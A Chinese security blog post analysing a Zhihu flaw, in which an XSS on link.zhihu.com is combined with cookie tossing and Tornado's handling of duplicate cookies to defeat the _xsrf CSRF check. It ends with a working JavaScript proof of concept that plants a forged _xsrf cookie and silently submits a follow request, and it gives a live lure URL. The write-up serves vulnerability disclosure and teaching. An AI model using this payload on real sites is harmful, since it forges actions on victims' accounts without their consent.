知乎某处XSS+刷粉超详细漏洞技术分析

phith0n

Apr 17, 2016, 3:13 PM

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web前端

知乎, CSRF漏洞, xss

我觉得十分经典的一个漏洞，和大家分享一下~

好久没法前端漏洞分析了，这次来一个。

老问题导致的XSS漏洞

首先看一个XSS漏洞，这个点是老问题了， http://www.wooyun.org/bugs/wooyun-2016-0171240
知乎按照洞主提供的方法进行修复了，但明显是不行的。我们看到 https://link.zhihu.com/?target=http://www.baidu.com 这个链接的源码：

将输入的信息传入URI参数，解码以后赋值与location.href。明显可以利用JavaScript:伪协议执行js代码。

如下： https://link.zhihu.com/?target=javascript:alert(1)

如何利用这个漏洞，有如下办法：

获取用户Cookie
刷粉、蠕虫等

但经过分析，这两种利用办法都无法直接达到。首先，因为知乎重要cookie加了httponly，所以打不到用户cookie；另外，因为知乎的主站是www.zhihu.com，而xss处于子域link.zhihu.com，并非同域，无法获取www域下的CSRF Token，也就无法提交任意表单。
那么，这个漏洞岂不是上不了主页了？

知乎的CSRF防御机制

去年7月份左右，我在TSRC的西安沙龙上对基于Token的CSRF原理与实例进行了一些讲解，但唯一一种情况没有提到：那就是同主域不同子域的情况下，怎么进行CSRF？

我先来说说知乎是如何检查CSRF漏洞的。

首先用户在访问知乎后，知乎会为用户设置一个随机Cookie，叫_xsrf。用户在填写表单的时候，表单里会自动插入一个隐藏的项目，也叫_xsrf。

用户提交表单的时候，后端会将表单里插入的_xsrf和cookie中所带的_xsrf进行比对。如果二者相同，则说明为合法的表单。

这种解决方法其实比较常见，因为在没有xss的情况下，黑客无法获取到cookie中的_xsrf，不在同一个域，也无法获取表单中的_xsrf。二者都无法获取到，所以保证了表单的安全。

那么，知乎这个xss，能不能获取到_xsrf呢？

我们看到www.zhihu.com的cookie：

Domain=www.zhihu.com，没得戏，在link.zhihu.com下获取不到www的cookie。

非同域这个条件，让工作很难正常进行。那么，怎么绕过呢？

既然我们无法获取cookie，我们自己设置一个值，不就可以了？！

这涉及到cookie的机制了。x.a.com域下，可以设置x.a.com的cookie，也可以设置.a.com的cookie。所以，我们在link.zhihu.com下利用XSS设置.zhihu.com的COOKIE。这样，在www.zhihu.com的数据包中，将会带着两个_xsrf，其中一个为已知的。

知乎/Tornado/Python对于同名cookie的处理

据以往对知乎的了解，知道知乎是基于Tornado开发的，这一点从『_xsrf』这个名字上也可看出。我们可以看看Tornado中是怎么处理Cookie的：

@property
def cookies(self):
   """A dictionary of Cookie.Morsel objects."""
   if not hasattr(self, "_cookies"):
       self._cookies = Cookie.SimpleCookie()
       if "Cookie" in self.headers:
           try:
               self._cookies.load(
                   native_str(self.headers["Cookie"]))
           except Exception:
               self._cookies = {}
   return self._cookies

利用的是python自带的Cookie库，跟进一下Cookie.SimpleCookie类的load方法：

def load(self, rawdata):
   """Load cookies from a string (presumably HTTP_COOKIE) or
   from a dictionary.  Loading cookies from a dictionary 'd'
   is equivalent to calling:
       map(Cookie.__setitem__, d.keys(), d.values())
   """
   if type(rawdata) == type(""):
       self.__ParseString(rawdata)
   else:
       # self.update() wouldn't call our custom __setitem__
       for k, v in rawdata.items():
           self[k] = v
   return

跟进一下__ParseString方法：

def __ParseString(self, str, patt=_CookiePattern):
   i = 0            # Our starting point
   n = len(str)     # Length of string
   M = None         # current morsel

   while 0 <= i < n:
       # Start looking for a cookie
       match = patt.match(str, i)
       if not match: break          # No more cookies

       K,V = match.group("key"), match.group("val")
       i = match.end(0)

       # Parse the key, value in case it's metainfo
       if K[0] == "$":
           # We ignore attributes which pertain to the cookie
           # mechanism as a whole.  See RFC 2109.
           # (Does anyone care?)
           if M:
               M[ K[1:] ] = V
       elif K.lower() in Morsel._reserved:
           if M:
               if V is None:
                   if K.lower() in Morsel._flags:
                       M[K] = True
               else:
                   M[K] = _unquote(V)
       elif V is not None:
           rval, cval = self.value_decode(V)
           self.__set(K, rval, cval)
           M = self[K]

这个方法有个特点：解析了HEADER中的Cookie以后，一个个赋值在self中。如果存在同名Cookie的话，后者将覆盖前者。
这也是tornado的一个特性。对比起来，我们看到php是怎么处理同名cookie的：

<?php 
echo $_COOKIE['_xsrf'];

获取的是前者。这也是php的一个特性，二者的区别，我不再从源码上分析了。

回到知乎的这个问题，因为知乎获取的_xsrf是后者。而恰好，我们利用XSS设置的cookie，将是所有cookie里最后一个。（当然，如果是php的话，我们也可以通过设置path，将cookie的优先级提到前面）

这样，后端在检查_xsrf的时候，会从cookie中获取我们设置的token，和表单中我们提交的token相比较。这二者，我们控制其相等即可。

覆盖_xsrf进行刷粉

理论讲完了，我来理一下思路：

利用link.zhihu.com的xss，设置cookie: _xsrf=aaaaaa; domain=.zhihu.com
设置表单中的_xsrf=aaaaaa;
POST数据包，关注目标用户

编写POC代码：

love=function(){var c={version:{name:"Elastic Love",author:"quininer",version:"141229"},conf:{protocol:"{{= protocol }}",host:"{{= host }}",id:"{{= id }}"},run:{jsonp:{},args:{},data:{},foo:{}},op:{bind:function(a,b,d){a.addEventListener?a.addEventListener(b,d,!1):a.attachEvent("on"+b,d);return a},random:function(a){return a?Math.random().toString(36).slice(2):1E5*Math.random()}}};c.get={isorigin:function(a,b){var d=c.dom.create("a",{href:a}),f=c.dom.create("a",{href:b||document.location.origin});return d.protocol==f.protocol&&d.hostname==f.hostname&&d.port==f.port?!0:!1},testorigin:function(a){try{c.req.ajax(a)}catch(b){return 19!=b.code?!0:!1}return!0},protocol:c.conf.protocol?c.conf.protocol:"file:"==location.protocol?"http:":"",isdom:function(a){return a.nodeType?!0:!1},id:function(a){return document.getElementById(a)},name:function(a){return document.getElementsByName(a)},tag:function(a){return document.getElementsByTagName(a)},class:function(a){return document.getElementsByClassName(a)},html:function(){return this.tag("html")[0]||document.write("<html>")&this.tag("html")[0]},head:function(){return this.tag("head")[0]||c.dom.add("head",!1,this.html())},body:function(){return this.tag("body")[0]||c.dom.add("body",!1,this.html())}};c.dom={inner:function(a,b,d){var f=Array.prototype.slice.call(arguments,-1)[0];d=d&&c.get.isdom(d)?d:c.get.body();var e=c.dom.create("div");e.innerHTML=a;e=e.children[0];b&&"function"!=typeof b&&(e.style.display="none");this.insert(e,d,"function"==typeof f&&f);return e},create:function(a,b){var d=document.createElement(a);for(i in b)"string"==typeof b[i]&&this.attr(d,i,b[i]);return d},insert:function(a,b){var d=Array.prototype.slice.call(arguments,-1)[0];b=b&&c.get.isdom(b)?b:c.get.body();b.appendChild(a);"function"==typeof d&&d(a,b);return a},add:function(a,b,d){var c=Array.prototype.slice.call(arguments,-1)[0],e=this.create(a,b);this.insert(e,d,c);return e},kill:function(a){var b=Array.prototype.slice.call(arguments,-1)[0];c.get.isdom(a)&&a.parentNode.removeChild(a);"function"==typeof b&&b()},attr:function(a,b,c){if(!c)return(a.attributes[b]||{}).value;a.setAttribute(b,c);return a}};c.req={post:function(a,b,d){var f=Array.prototype.slice.call(arguments,-1)[0],e=c.dom.add("form",{method:"POST",style:"display: none;",action:a},c.get.body());if(b&&"object"==typeof b)for(var g in b)c.dom.add("input",{name:g,value:b[g]},e);g=c.dom.add("input",{type:"submit"},e);if(!d||"function"==typeof d){var h=c.dom.inner('<iframe sandbox name="'+c.op.random(!0)+'">',!0);c.dom.attr(e,"target",h.name)}"function"==typeof f&&c.op.bind(e,"submit",f);d&&"function"!=typeof d||c.op.bind(h,"load",function(){c.dom.kill(h)});g.click();d&&"function"!=typeof d||c.dom.kill(e)}};return c}();
function createCookie(name,value,days) {
    if (days) {
        var date = new Date();
        date.setTime(date.getTime()+(days*24*60*60*1000));
        var expires = "; expires="+date.toGMTString();
    }
    else var expires = "";
    document.cookie = name+"="+value+expires+"; path=/; domain=.zhihu.com";
}
createCookie("_xsrf", "wooyun123123", 30);
love.req.post("https://www.zhihu.com/node/MemberFollowBaseV2", {
    method: "follow_member",
    params: '{"hash_id":"6f8ffd80705c262c2ee3fa4d9b3f8f06"}',
    _xsrf: "wooyun123123"
}, true);

可见，我将_xsrf设置为wooyun123123，hash_id是被关注人的id，可以通过抓包获得。
用户访问 http://mhz.pw/game/zhihu/zhihu.html 即可关注我。通过抓包可以看见，我们伪造的_xsrf已经附在cookie最后面传给服务端了：

用户已成功关注：

知乎某处XSS+刷粉超详细漏洞技术分析

老问题导致的XSS漏洞

知乎的CSRF防御机制

知乎/Tornado/Python对于同名cookie的处理

覆盖_xsrf进行刷粉

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